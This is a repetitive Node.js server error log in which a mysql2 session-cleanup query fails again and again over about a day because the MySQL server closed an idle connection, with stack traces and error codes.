Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 03:47:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 03:47:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 04:23:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 04:23:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 04:44:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 04:44:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 13:15:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 13:15:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 15:19:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 15:19:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 22:23:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 22:23:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 22:39:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 22:39:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 00:42:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 00:42:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 00:51:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 00:51:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 00:55:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 00:55:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 00:59:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 00:59:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:01:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:01:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:05:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:05:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:16:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:16:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:20:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:20:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:25:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:25:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:30:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:30:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:35:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:35:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:38:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:38:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 01:43:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 01:43:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
